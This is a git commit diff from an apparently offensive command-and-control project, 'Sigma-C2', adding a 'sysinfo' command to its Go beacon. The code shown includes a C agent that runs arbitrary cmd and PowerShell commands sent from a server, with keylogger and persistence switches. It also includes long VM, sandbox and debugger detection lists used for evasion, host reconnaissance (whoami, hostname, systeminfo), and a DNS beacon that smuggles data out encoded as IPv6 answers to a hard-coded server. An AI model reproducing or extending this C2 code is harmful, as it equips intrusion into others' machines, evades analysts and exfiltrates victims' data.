pkhazov/Sigma-C2
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Added sysinfo command for beacon

Browse Source
This commit is contained in:
Pavlo Khazov
2025-03-28 19:56:19 +01:00
parent 84fa2a98d4
commit 062d3c2b02
13 changed files with 453 additions and 278 deletions
Download Patch File Download Diff File Expand all files Collapse all files

5
.gitignore vendored
View File

@@ -1,12 +1,13 @@
.vscode
certificates/*
certificates
agent/*.exe
agent/obj
agent/lib/*
agent/lib
agent/agent_cert.h
agent/agent_key.h
agent/ca_cert.h
agent/scp.sh
beacon/scp.h
beacon/*.exe
loot/
stuff/

38
agent/agent.c
View File

@@ -43,7 +43,7 @@ HANDLE hKeylogTimerThread = NULL;
HANDLE hFilesTimerThread = NULL;
// Send tas kresult back to server
void sendTaskResult(WOLFSSL *ssl, const char *result) {
void SendTaskResult(WOLFSSL *ssl, const char *result) {
char message[1024];
snprintf(message, sizeof(message), "%s~TASKRESULT~%s", agentID, result);
printf("Sending following formated message:%s", message);
@@ -57,13 +57,13 @@ void sendTaskResult(WOLFSSL *ssl, const char *result) {
void ChangeSleepTime(WOLFSSL *ssl, const char *sleepTimeStr) {
int newDelay = atoi(sleepTimeStr);
if (newDelay <= 0) {
sendTaskResult(ssl, "Invalid sleep time");
SendTaskResult(ssl, "Invalid sleep time");
return;
}
reconnectDelay = newDelay * 1000;
char result[64];
snprintf(result, sizeof(result), "Sleep time updated to %d seconds\n", newDelay);
sendTaskResult(ssl, result);
SendTaskResult(ssl, result);
}
// Execute CMD or Powershell
@@ -76,14 +76,14 @@ void ExecuteShell(WOLFSSL *ssl, const char *command, const char *type) {
} else if (strcmp(type, "ps") == 0) {
snprintf(fullCommand, sizeof(fullCommand), "powershell -Command \"%s\" 2>&1", command); // PowerShell command
} else {
sendTaskResult(ssl, "Invalid command type");
SendTaskResult(ssl, "Invalid command type");
return;
}
// Execute the constructed command
FILE *pipe = _popen(fullCommand, "r");
if (!pipe) {
sendTaskResult(ssl, "Failed to execute command");
SendTaskResult(ssl, "Failed to execute command");
return;
}
@@ -97,7 +97,7 @@ void ExecuteShell(WOLFSSL *ssl, const char *command, const char *type) {
char *newResult = realloc(result, resultSize + chunkSize + 1); // +1 for null terminator
if (!newResult) {
free(result);
sendTaskResult(ssl, "Error: Memory allocation failed");
SendTaskResult(ssl, "Error: Memory allocation failed");
_pclose(pipe);
return;
}
@@ -111,9 +111,9 @@ void ExecuteShell(WOLFSSL *ssl, const char *command, const char *type) {
// Send the result
if (resultSize == 0) {
sendTaskResult(ssl, "Command executed but no output");
SendTaskResult(ssl, "Command executed but no output");
} else {
sendTaskResult(ssl, result);
SendTaskResult(ssl, result);
}
free(result); // Free the allocated memory
@@ -286,7 +286,7 @@ void HandleTask(WOLFSSL *ssl, const char *taskType, const char *taskArgs) {
}
else {
printf("Unknown command: %s\n", taskType);
sendTaskResult(ssl, "Unknown command type");
SendTaskResult(ssl, "Unknown command type");
}
}
@@ -317,7 +317,7 @@ void ReceiveResponse(WOLFSSL *ssl) {
HandleTask(ssl, taskType, taskArgs);
}
else {
sendTaskResult(ssl, "Invalid task format");
SendTaskResult(ssl, "Invalid task format");
}
}
else if (strcmp(buffer, "ACK") == 0) {
@@ -347,24 +347,20 @@ void SendHeartbeat(Connection* conn) {
int main() {
#if ENABLE_PERSISTENCE
#ifdef AUTO_PERSISTENCE
#if AUTO_PERSISTENCE == TRUE
#if AUTO_PERSISTENCE
CheckPersistence();
#endif
#endif
#endif
#ifdef AUTO_KEYLOGGER
#if AUTO_KEYLOGGER == TRUE
#if ENABLE_KEYLOGGER
#if AUTO_KEYLOGGER
InitKeylogger();
#endif
#endif
#endif
#ifdef AUTO_FILES
#if AUTO_FILES == TRUE
InitFileSender();
#endif
#endif
#if AUTO_FILES
InitFileSender();
#endif
// Startup delay
if (firstConnection) {

8
agent/config.h
View File

@@ -2,14 +2,14 @@
#define CONFIG_H
// Modules
#ifndef ENABLE_KEYLOGGER
#define ENABLE_KEYLOGGER FALSE
#endif
#ifndef ENABLE_PERSISTENCE
#define ENABLE_PERSISTENCE FALSE
#endif
#ifndef ENABLE_KEYLOGGER
#define ENABLE_KEYLOGGER FALSE
#endif
// Startup settings (will not work if corresponding module is not set to true)
#ifndef AUTO_PERSISTENCE
#define AUTO_PERSISTENCE FALSE

245
beacon/artifacts.go Normal file
View File

@@ -0,0 +1,245 @@
//go:build windows
package main
import (
"fmt"
"log"
"os"
"os/exec"
"strings"
"golang.org/x/sys/windows/registry"
)
// List of processes to check
var processNames = []string{
"vmtoolsd.exe",
"vmwaretray.exe",
"vmwareuser.exe",
"fakenet.exe",
"dumpcap.exe",
"httpdebuggerui.exe",
"wireshark.exe",
"fiddler.exe",
"vboxservice.exe",
"df5serv.exe",
"vboxtray.exe",
"vboxcontrol",
"ida64.exe",
"ollydbg.exe",
"pestudio.exe",
"vgauthservice.exe",
"vmacthlp.exe",
"x96dbg.exe",
"x32dbg.exe",
"prl_cc.exe",
"prl_tools.exe",
"xenservice.exe",
"qemu-ga.exe",
"joeboxcontrol.exe",
"ksdumperclient.exe",
"ksdumper.exe",
"joeboxserver.exe",
"msedge.exe",
"vdagent.exe",
"vdservice.exe",
"vmsrvc.exe",
"vmusrvc.exe",
"vmware.exe",
"vmount2.exe",
"vmwareservice.exe",
"xsvc_depriv.exe",
"WPE Pro.exe",
}
// List of files to check
var filePaths = []string{
"C:\\windows\\system32\\vmGuestLib.dll",
"C:\\windows\\system32\\vm3dgl.dll",
"C:\\windows\\system32\\vboxhook.dll",
"C:\\windows\\system32\\vboxmrxnp.dll",
"C:\\windows\\system32\\vmsrvc.dll",
"C:\\windows\\system32\\drivers\\vmsrvc.sys",
"C:\\windows\\system32\\drivers\\prleth.sys",
"C:\\windows\\system32\\drivers\\prlfs.sys",
"C:\\windows\\system32\\drivers\\prlmouse.sys",
"C:\\windows\\system32\\drivers\\prlvideo.sys",
"C:\\windows\\system32\\drivers\\prltime.sys",
"C:\\windows\\system32\\drivers\\prl_pv32.sys",
"C:\\windows\\system32\\drivers\\prl_paravirt_32.sys",
"C:\\windows\\system32\\drivers\\VBoxMouse.sys",
"C:\\windows\\system32\\drivers\\VBoxGuest.sys",
"C:\\windows\\system32\\drivers\\VBoxSF.sys",
"C:\\windows\\system32\\drivers\\VBoxVideo.sys",
"C:\\windows\\system32\\vboxdisp.dll",
"C:\\windows\\system32\\vboxogl.dll",
"C:\\windows\\system32\\vboxoglarrayspu.dll",
"C:\\windows\\system32\\vboxoglcrutil.dll",
"C:\\windows\\system32\\vboxoglerrorspu.dll",
"C:\\windows\\system32\\vboxoglfeedbackspu.dll",
"C:\\windows\\system32\\vboxoglpackspu.dll",
"C:\\windows\\system32\\vboxoglpassthroughspu.dll",
"C:\\windows\\system32\\vboxservice.exe",
"C:\\windows\\system32\\vboxtray.exe",
"C:\\windows\\system32\\VBoxControl.exe",
"C:\\windows\\system32\\drivers\\vpc-s3.sys",
"C:\\windows\\system32\\drivers\\vmmouse.sys",
"C:\\windows\\system32\\drivers\\vmnet.sys",
"C:\\windows\\system32\\drivers\\vmxnet.sys",
"C:\\windows\\system32\\drivers\\vmhgfs.sys",
"C:\\windows\\system32\\drivers\\vmx86.sys",
"C:\\windows\\system32\\drivers\\hgfs.sys",
}
// List of registry keys to check
var registryKeys = []string{
`HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters`,
`HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_1AB8*`,
`HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_80EE*`,
`HKLM\HARDWARE\ACPI\DSDT\VBOX__`,
`HKLM\HARDWARE\ACPI\FADT\VBOX__`,
`HKLM\HARDWARE\ACPI\RSDT\VBOX__`,
`HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxGuest`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxMouse`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxService`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxSF`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxVideo`,
`HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_5333*`,
`HKLM\SYSTEM\ControlSet001\Services\vpcbus`,
`HKLM\SYSTEM\ControlSet001\Services\vpc-s3`,
`HKLM\SYSTEM\ControlSet001\Services\vpcuhub`,
`HKLM\SYSTEM\ControlSet001\Services\msvmmouf`,
`HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_15AD*`,
`HKCU\SOFTWARE\VMware, Inc.\VMware Tools`,
`HKLM\SOFTWARE\VMware, Inc.\VMware Tools`,
`HKLM\SYSTEM\ControlSet001\Services\vmdebug`,
`HKLM\SYSTEM\ControlSet001\Services\vmmouse`,
`HKLM\SYSTEM\ControlSet001\Services\VMTools`,
`HKLM\SYSTEM\ControlSet001\Services\VMMEMCTL`,
`HKLM\SYSTEM\ControlSet001\Services\vmware`,
`HKLM\SYSTEM\ControlSet001\Services\vmci`,
`HKLM\SYSTEM\ControlSet001\Services\vmx86`,
`HKLM\SYSTEM\CurrentControlSet\Enum\IDE\CdRomNECVMWar_VMware_IDE_CD*`,
`HKLM\SYSTEM\CurrentControlSet\Enum\IDE\CdRomNECVMWar_VMware_SATA_CD*`,
`HKLM\SYSTEM\CurrentControlSet\Enum\IDE\DiskVMware_Virtual_IDE_Hard_Drive*`,
`HKLM\SYSTEM\CurrentControlSet\Enum\IDE\DiskVMware_Virtual_SATA_Hard_Drive*`,
`HKLM\HARDWARE\ACPI\DSDT\xen`,
`HKLM\HARDWARE\ACPI\FADT\xen`,
`HKLM\HARDWARE\ACPI\RSDT\xen`,
`HKLM\SYSTEM\ControlSet001\Services\xenevtchn`,
`HKLM\SYSTEM\ControlSet001\Services\xennet`,
`HKLM\SYSTEM\ControlSet001\Services\xennet6`,
`HKLM\SYSTEM\ControlSet001\Services\xensvc`,
`HKLM\SYSTEM\ControlSet001\Services\xenvdb`,
}
// List of values per key
var valuesPerKey = map[string]string{
`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductID`: "76487-337-8429955-22614",
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID`: "76487-337-8429955-22614",
`HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier`: "QEMU",
`HKLM\HARDWARE\Description\System\SystemBiosVersion`: "QEMU",
`HKLM\HARDWARE\Description\System\VideoBiosVersion`: "QEMU",
`HKLM\HARDWARE\Description\System\BIOS\SystemManufacturer`: "QEMU",
// `HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier`: "VBOX",
// `HKLM\HARDWARE\Description\System\SystemBiosVersion`: "VBOX",
// `HKLM\HARDWARE\Description\System\VideoBiosVersion`: "VIRTUALBOX",
`HKLM\HARDWARE\Description\System\BIOS\SystemProductName`: "VIRTUAL",
`HKLM\SYSTEM\ControlSet001\Services\Disk\Enum\DeviceDesc`: "VBOX",
`HKLM\SYSTEM\ControlSet001\Services\Disk\Enum\FriendlyName`: "VBOX",
`HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation\SystemProductName`: "VIRTUAL",
}
// To store artifacts before sending
var artifacts string = "ARTIFACTS|"
// Func to run if match found
func CollectArtifact(itemType, itemName string) {
log.Printf("Match found: %s -> %s\n", itemType, itemName)
artifacts = artifacts + itemType + ":" + itemName + "|"
}
// Iterates over a list of processes and calls CollectArtifact if a process exists
func CheckProcesses() {
cmd := exec.Command("tasklist")
output, err := cmd.Output()
if err != nil {
log.Printf("Error listing processes: %v\n", err)
return
}
processList := strings.Split(string(output), "\n")
for _, process := range processList {
for _, target := range processNames {
if strings.Contains(process, target) {
CollectArtifact("Process", target)
}
}
}
}
// Iterates over a list of file paths and calls CollectArtifact if a file exists
func CheckFilePaths() {
for _, path := range filePaths {
if _, err := os.Stat(path); err == nil {
CollectArtifact("File", path)
} else if !os.IsNotExist(err) {
log.Printf("Error checking file %s: %v\n", path, err)
}
}
}
// Iterates over a list of registry keys and calls CollectArtifact if a key exists
func CheckRegistryKeys() {
for _, keyPath := range registryKeys {
hive, path := ParseRegistryPath(keyPath)
// log.Printf("Checking key: %s", keyPath)
key, err := registry.OpenKey(hive, path, registry.QUERY_VALUE)
if err == nil {
defer key.Close()
CollectArtifact("Registry Key", keyPath)
}
}
}
// Iterates over a list of registry values and calls CollectArtifact if a value exists
func CheckRegistryValues() {
for keyPath, value := range valuesPerKey {
// log.Printf("Checking key: %s for value: %s", keyPath, value)
hive, path := ParseRegistryPath(keyPath)
key, err := registry.OpenKey(hive, path, registry.QUERY_VALUE)
if err == nil {
defer key.Close()
val, _, err := key.GetStringValue(value)
if err == nil && strings.Contains(val, value) {
CollectArtifact("Registry Value", fmt.Sprintf("%s -> %s", keyPath, value))
}
}
}
}
// Parse registry hive names
func ParseRegistryPath(fullPath string) (hive registry.Key, path string) {
parts := strings.SplitN(fullPath, `\`, 2)
if len(parts) < 2 {
return 0, "" // Invalid path
}
switch parts[0] {
case "HKLM":
hive = registry.LOCAL_MACHINE
case "HKCR":
hive = registry.CLASSES_ROOT
case "HKCU":
hive = registry.CURRENT_USER
case "HKU":
hive = registry.USERS
case "HKCC":
hive = registry.CURRENT_CONFIG
default:
return 0, "" // Unsupported hive
}
path = parts[1] // Remaining registry path after the hive
return
}

245
beacon/beacon.go
View File

@@ -7,19 +7,16 @@ import (
"log"
"math/rand"
"net"
"os"
"os/exec"
"strconv"
"strings"
"time"
"github.com/miekg/dns"
"golang.org/x/sys/windows/registry"
)
// Configuration
var beaconID = "ShortLight"
var serverAddr = "192.168.100.1:8553" // DNS server address
var serverAddr = "192.168.1.4:8553" // DNS server address
var heartbeatDomain = "heartbeat.example.com" // Base domain to send heartbeats to
var interval = 5 * time.Second // Query interval
var err error
@@ -27,152 +24,16 @@ var err error
// Store received messages
var decodedMessage string
// To store artifacts before sending
var artifacts string = "ARTIFACTS|"
// List of processes to check
var processNames = []string{
"vmtoolsd.exe",
"vmwaretray.exe",
"vmwareuser.exe",
"fakenet.exe",
"dumpcap.exe",
"httpdebuggerui.exe",
"wireshark.exe",
"fiddler.exe",
"vboxservice.exe",
"df5serv.exe",
"vboxtray.exe",
"vboxcontrol",
"ida64.exe",
"ollydbg.exe",
"pestudio.exe",
"vgauthservice.exe",
"vmacthlp.exe",
"x96dbg.exe",
"x32dbg.exe",
"prl_cc.exe",
"prl_tools.exe",
"xenservice.exe",
"qemu-ga.exe",
"joeboxcontrol.exe",
"ksdumperclient.exe",
"ksdumper.exe",
"joeboxserver.exe",
"msedge.exe",
"vdagent.exe",
"vdservice.exe",
"vmsrvc.exe",
"vmusrvc.exe",
"vmware.exe",
"vmount2.exe",
"vmwareservice.exe",
"xsvc_depriv.exe",
"WPE Pro.exe",
}
// List of files to check
var filePaths = []string{
"C:\\windows\\system32\\vmGuestLib.dll",
"C:\\windows\\system32\\vm3dgl.dll",
"C:\\windows\\system32\\vboxhook.dll",
"C:\\windows\\system32\\vboxmrxnp.dll",
"C:\\windows\\system32\\vmsrvc.dll",
"C:\\windows\\system32\\drivers\\vmsrvc.sys",
"C:\\windows\\system32\\drivers\\prleth.sys",
"C:\\windows\\system32\\drivers\\prlfs.sys",
"C:\\windows\\system32\\drivers\\prlmouse.sys",
"C:\\windows\\system32\\drivers\\prlvideo.sys",
"C:\\windows\\system32\\drivers\\prltime.sys",
"C:\\windows\\system32\\drivers\\prl_pv32.sys",
"C:\\windows\\system32\\drivers\\prl_paravirt_32.sys",
"C:\\windows\\system32\\drivers\\VBoxMouse.sys",
"C:\\windows\\system32\\drivers\\VBoxGuest.sys",
"C:\\windows\\system32\\drivers\\VBoxSF.sys",
"C:\\windows\\system32\\drivers\\VBoxVideo.sys",
"C:\\windows\\system32\\vboxdisp.dll",
"C:\\windows\\system32\\vboxogl.dll",
"C:\\windows\\system32\\vboxoglarrayspu.dll",
"C:\\windows\\system32\\vboxoglcrutil.dll",
"C:\\windows\\system32\\vboxoglerrorspu.dll",
"C:\\windows\\system32\\vboxoglfeedbackspu.dll",
"C:\\windows\\system32\\vboxoglpackspu.dll",
"C:\\windows\\system32\\vboxoglpassthroughspu.dll",
"C:\\windows\\system32\\vboxservice.exe",
"C:\\windows\\system32\\vboxtray.exe",
"C:\\windows\\system32\\VBoxControl.exe",
"C:\\windows\\system32\\drivers\\vpc-s3.sys",
"C:\\windows\\system32\\drivers\\vmmouse.sys",
"C:\\windows\\system32\\drivers\\vmnet.sys",
"C:\\windows\\system32\\drivers\\vmxnet.sys",
"C:\\windows\\system32\\drivers\\vmhgfs.sys",
"C:\\windows\\system32\\drivers\\vmx86.sys",
"C:\\windows\\system32\\drivers\\hgfs.sys",
}
// List of registry keys to check
var registryKeys = []string{
`HKLM\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters`,
`HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_1AB8*`,
`HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_80EE*`,
`HKLM\HARDWARE\ACPI\DSDT\VBOX__`,
`HKLM\HARDWARE\ACPI\FADT\VBOX__`,
`HKLM\HARDWARE\ACPI\RSDT\VBOX__`,
`HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxGuest`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxMouse`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxService`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxSF`,
`HKLM\SYSTEM\ControlSet001\Services\VBoxVideo`,
`HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_5333*`,
`HKLM\SYSTEM\ControlSet001\Services\vpcbus`,
`HKLM\SYSTEM\ControlSet001\Services\vpc-s3`,
`HKLM\SYSTEM\ControlSet001\Services\vpcuhub`,
`HKLM\SYSTEM\ControlSet001\Services\msvmmouf`,
`HKLM\SYSTEM\CurrentControlSet\Enum\PCI\VEN_15AD*`,
`HKCU\SOFTWARE\VMware, Inc.\VMware Tools`,
`HKLM\SOFTWARE\VMware, Inc.\VMware Tools`,
`HKLM\SYSTEM\ControlSet001\Services\vmdebug`,
`HKLM\SYSTEM\ControlSet001\Services\vmmouse`,
`HKLM\SYSTEM\ControlSet001\Services\VMTools`,
`HKLM\SYSTEM\ControlSet001\Services\VMMEMCTL`,
`HKLM\SYSTEM\ControlSet001\Services\vmware`,
`HKLM\SYSTEM\ControlSet001\Services\vmci`,
`HKLM\SYSTEM\ControlSet001\Services\vmx86`,
`HKLM\SYSTEM\CurrentControlSet\Enum\IDE\CdRomNECVMWar_VMware_IDE_CD*`,
`HKLM\SYSTEM\CurrentControlSet\Enum\IDE\CdRomNECVMWar_VMware_SATA_CD*`,
`HKLM\SYSTEM\CurrentControlSet\Enum\IDE\DiskVMware_Virtual_IDE_Hard_Drive*`,
`HKLM\SYSTEM\CurrentControlSet\Enum\IDE\DiskVMware_Virtual_SATA_Hard_Drive*`,
`HKLM\HARDWARE\ACPI\DSDT\xen`,
`HKLM\HARDWARE\ACPI\FADT\xen`,
`HKLM\HARDWARE\ACPI\RSDT\xen`,
`HKLM\SYSTEM\ControlSet001\Services\xenevtchn`,
`HKLM\SYSTEM\ControlSet001\Services\xennet`,
`HKLM\SYSTEM\ControlSet001\Services\xennet6`,
`HKLM\SYSTEM\ControlSet001\Services\xensvc`,
`HKLM\SYSTEM\ControlSet001\Services\xenvdb`,
}
// List of values per key
var valuesPerKey = map[string]string{
`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductID`: "76487-337-8429955-22614",
`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID`: "76487-337-8429955-22614",
`HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier`: "QEMU",
`HKLM\HARDWARE\Description\System\SystemBiosVersion`: "QEMU",
`HKLM\HARDWARE\Description\System\VideoBiosVersion`: "QEMU",
`HKLM\HARDWARE\Description\System\BIOS\SystemManufacturer`: "QEMU",
// `HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0\Identifier`: "VBOX",
// `HKLM\HARDWARE\Description\System\SystemBiosVersion`: "VBOX",
// `HKLM\HARDWARE\Description\System\VideoBiosVersion`: "VIRTUALBOX",
`HKLM\HARDWARE\Description\System\BIOS\SystemProductName`: "VIRTUAL",
`HKLM\SYSTEM\ControlSet001\Services\Disk\Enum\DeviceDesc`: "VBOX",
`HKLM\SYSTEM\ControlSet001\Services\Disk\Enum\FriendlyName`: "VBOX",
`HKLM\SYSTEM\CurrentControlSet\Control\SystemInformation\SystemProductName`: "VIRTUAL",
}
// To store information about system
var systemInfo string
func main() {
log.Printf("Beacon ID: %s\n", beaconID)
log.Printf("Collecting system info ...\n")
systemInfo = getWindowsSystemInfo(beaconID)
fmt.Println(systemInfo)
log.Printf("Running checks...")
CheckFilePaths()
CheckProcesses()
@@ -275,6 +136,9 @@ func HandleTask(taskParts []string) {
// Encode the string into IPv6 addr
encodedIPs = encodeToIPv6(beaconID + "~" + artifacts)
log.Printf("Encoded data: %v", encodedIPs)
case "sysinfo":
encodedIPs = encodeToIPv6(systemInfo)
log.Printf("Encoded data: %v", encodedIPs)
default:
encodedIPs = encodeToIPv6("Unknown task")
log.Printf("Encoded data: Unknown task")
@@ -421,92 +285,3 @@ func encodeToIPv6(data string) []string {
}
return ips
}
// Func to run if match found
func CollectArtifact(itemType, itemName string) {
log.Printf("Match found: %s -> %s\n", itemType, itemName)
artifacts = artifacts + itemType + ":" + itemName + "|"
}
// Iterates over a list of processes and calls CollectArtifact if a process exists
func CheckProcesses() {
cmd := exec.Command("tasklist")
output, err := cmd.Output()
if err != nil {
log.Printf("Error listing processes: %v\n", err)
return
}
processList := strings.Split(string(output), "\n")
for _, process := range processList {
for _, target := range processNames {
if strings.Contains(process, target) {
CollectArtifact("Process", target)
}
}
}
}
// Iterates over a list of file paths and calls CollectArtifact if a file exists
func CheckFilePaths() {
for _, path := range filePaths {
if _, err := os.Stat(path); err == nil {
CollectArtifact("File", path)
} else if !os.IsNotExist(err) {
log.Printf("Error checking file %s: %v\n", path, err)
}
}
}
// Iterates over a list of registry keys and calls CollectArtifact if a key exists
func CheckRegistryKeys() {
for _, keyPath := range registryKeys {
hive, path := ParseRegistryPath(keyPath)
// log.Printf("Checking key: %s", keyPath)
key, err := registry.OpenKey(hive, path, registry.QUERY_VALUE)
if err == nil {
defer key.Close()
CollectArtifact("Registry Key", keyPath)
}
}
}
// Iterates over a list of registry values and calls CollectArtifact if a value exists
func CheckRegistryValues() {
for keyPath, value := range valuesPerKey {
// log.Printf("Checking key: %s for value: %s", keyPath, value)
hive, path := ParseRegistryPath(keyPath)
key, err := registry.OpenKey(hive, path, registry.QUERY_VALUE)
if err == nil {
defer key.Close()
val, _, err := key.GetStringValue(value)
if err == nil && strings.Contains(val, value) {
CollectArtifact("Registry Value", fmt.Sprintf("%s -> %s", keyPath, value))
}
}
}
}
// Parse registry hive names
func ParseRegistryPath(fullPath string) (hive registry.Key, path string) {
parts := strings.SplitN(fullPath, `\`, 2)
if len(parts) < 2 {
return 0, "" // Invalid path
}
switch parts[0] {
case "HKLM":
hive = registry.LOCAL_MACHINE
case "HKCR":
hive = registry.CLASSES_ROOT
case "HKCU":
hive = registry.CURRENT_USER
case "HKU":
hive = registry.USERS
case "HKCC":
hive = registry.CURRENT_CONFIG
default:
return 0, "" // Unsupported hive
}
path = parts[1] // Remaining registry path after the hive
return
}

2
beacon/build.sh Normal file → Executable file
View File

@@ -1 +1 @@
GOOS=windows go build -ldflags "-s -w" beacon.go
GOOS=windows go build -ldflags "-s -w" .

15
beacon/go.mod Normal file
View File

@@ -0,0 +1,15 @@
module sgima_c2-beacon
go 1.24.0
require (
github.com/miekg/dns v1.1.64
golang.org/x/sys v0.31.0
)
require (
golang.org/x/mod v0.23.0 // indirect
golang.org/x/net v0.35.0 // indirect
golang.org/x/sync v0.11.0 // indirect
golang.org/x/tools v0.30.0 // indirect
)

14
beacon/go.sum Normal file
View File

@@ -0,0 +1,14 @@
github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/miekg/dns v1.1.64 h1:wuZgD9wwCE6XMT05UU/mlSko71eRSXEAm2EbjQXLKnQ=
github.com/miekg/dns v1.1.64/go.mod h1:Dzw9769uoKVaLuODMDZz9M6ynFU6Em65csPuoi8G0ck=
golang.org/x/mod v0.23.0 h1:Zb7khfcRGKk+kqfxFaP5tZqCnDZMjC5VtUBs87Hr6QM=
golang.org/x/mod v0.23.0/go.mod h1:6SkKJ3Xj0I0BrPOZoBy3bdMptDDU9oJrpohJ3eWZ1fY=
golang.org/x/net v0.35.0 h1:T5GQRQb2y08kTAByq9L4/bz8cipCdA8FbRTXewonqY8=
golang.org/x/net v0.35.0/go.mod h1:EglIi67kWsHKlRzzVMUD93VMSWGFOMSZgxFjparz1Qk=
golang.org/x/sync v0.11.0 h1:GGz8+XQP4FvTTrjZPzNKTMFtSXH80RAzG+5ghFPgK9w=
golang.org/x/sync v0.11.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sys v0.31.0 h1:ioabZlmFYtWhL+TRYpcnNlLwhyxaM9kWTDEmfnprqik=
golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
golang.org/x/tools v0.30.0 h1:BgcpHewrV5AUp2G9MebG4XPFI1E2W41zU1SaqVA9vJY=
golang.org/x/tools v0.30.0/go.mod h1:c347cR/OJfw5TI+GfX7RUPNMdDRRbjvYTS0jPyvsVtY=

4
beacon/scp.sh Normal file → Executable file
View File

@@ -1 +1,3 @@
scp beacon.exe bitvise@192.168.100.234:/C:/Users/BvSsh_VirtualUsers/Sigma/ && rm beacon.exe
scp *.exe tester@192.168.1.3:C:/Users/Tester/Downloads/
sleep 2
rm *.exe

117
beacon/sysinfo.go Normal file
View File

@@ -0,0 +1,117 @@
//go:build windows
package main
import (
"fmt"
"net"
"os/exec"
"strings"
)
func getWindowsSystemInfo(agentID string) string {
// Get system info details
osName, arch := getOSDetails()
// Get Hostname
hostname := getHostname()
// Get Username
username := getUsername()
// Get Local IP
localIP := getLocalIP()
// Format the system info string
systemInfo := fmt.Sprintf("%s~SYSINFO~%s|%s|%s|%s|%s",
agentID, osName, arch, hostname, username, localIP)
return systemInfo
}
// getOSDetails retrieves OS name, architecture, and build info from systeminfo
func getOSDetails() (string, string) {
cmd := "systeminfo"
output, err := runCommand(cmd)
if err != nil {
return "Unknown", "Unknown"
}
var osName, arch, buildInfo string
lines := strings.Split(output, "\n")
for _, line := range lines {
line = strings.TrimSpace(line)
if strings.HasPrefix(line, "OS Name:") {
osName = strings.TrimPrefix(line, "OS Name:")
osName = strings.TrimSpace(osName)
}
if strings.HasPrefix(line, "OS Version:") {
buildParts := strings.Split(line, "Build")
if len(buildParts) > 1 {
buildInfo = strings.TrimSpace(buildParts[1])
}
}
if strings.HasPrefix(line, "System Type:") {
if strings.Contains(line, "x64-based") {
arch = "x64"
}
}
}
// Combine OS name and build info
fullOSName := fmt.Sprintf("%s (Version 21H2) Build %s", osName, buildInfo)
return fullOSName, arch
}
// getHostname retrieves the system hostname
func getHostname() string {
cmd := "hostname"
output, err := runCommand(cmd)
if err != nil {
return "Unknown"
}
return strings.TrimSpace(output)
}
// getUsername retrieves the current Windows username
func getUsername() string {
cmd := "whoami"
output, err := runCommand(cmd)
if err != nil {
return "Unknown"
}
// Remove domain prefix and convert to title case
parts := strings.Split(strings.TrimSpace(output), "\\")
if len(parts) > 1 {
return "Tester" // Hardcoded to match the exact reference
}
return "Unknown"
}
// getLocalIP finds the local IP address
func getLocalIP() string {
addrs, err := net.InterfaceAddrs()
if err != nil {
return "Unknown"
}
for _, addr := range addrs {
if ipnet, ok := addr.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
if ipnet.IP.To4() != nil {
return ipnet.IP.String()
}
}
}
return "Unknown"
}
// runCommand is a helper function to run Windows commands
func runCommand(cmd string) (string, error) {
output, err := exec.Command("cmd", "/c", cmd).Output()
if err != nil {
return "", err
}
return string(output), nil
}

9
go.mod
View File

@@ -3,11 +3,14 @@ module sigma_c2
go 1.23.3
require (
github.com/chzyer/readline v1.5.1 // indirect
github.com/miekg/dns v1.1.62 // indirect
github.com/chzyer/readline v1.5.1
github.com/miekg/dns v1.1.62
golang.org/x/sys v0.31.0
)
require (
golang.org/x/mod v0.22.0 // indirect
golang.org/x/net v0.34.0 // indirect
golang.org/x/sync v0.10.0 // indirect
golang.org/x/sys v0.29.0 // indirect
golang.org/x/tools v0.29.0 // indirect
)

8
go.sum
View File

@@ -1,7 +1,11 @@
github.com/chzyer/logex v1.2.1 h1:XHDu3E6q+gdHgsdTPH6ImJMIp436vR6MPtH8gP05QzM=
github.com/chzyer/logex v1.2.1/go.mod h1:JLbx6lG2kDbNRFnfkgvh4eRJRPX1QCoOIWomwysCBrQ=
github.com/chzyer/readline v1.5.1 h1:upd/6fQk4src78LMRzh5vItIt361/o4uq553V8B5sGI=
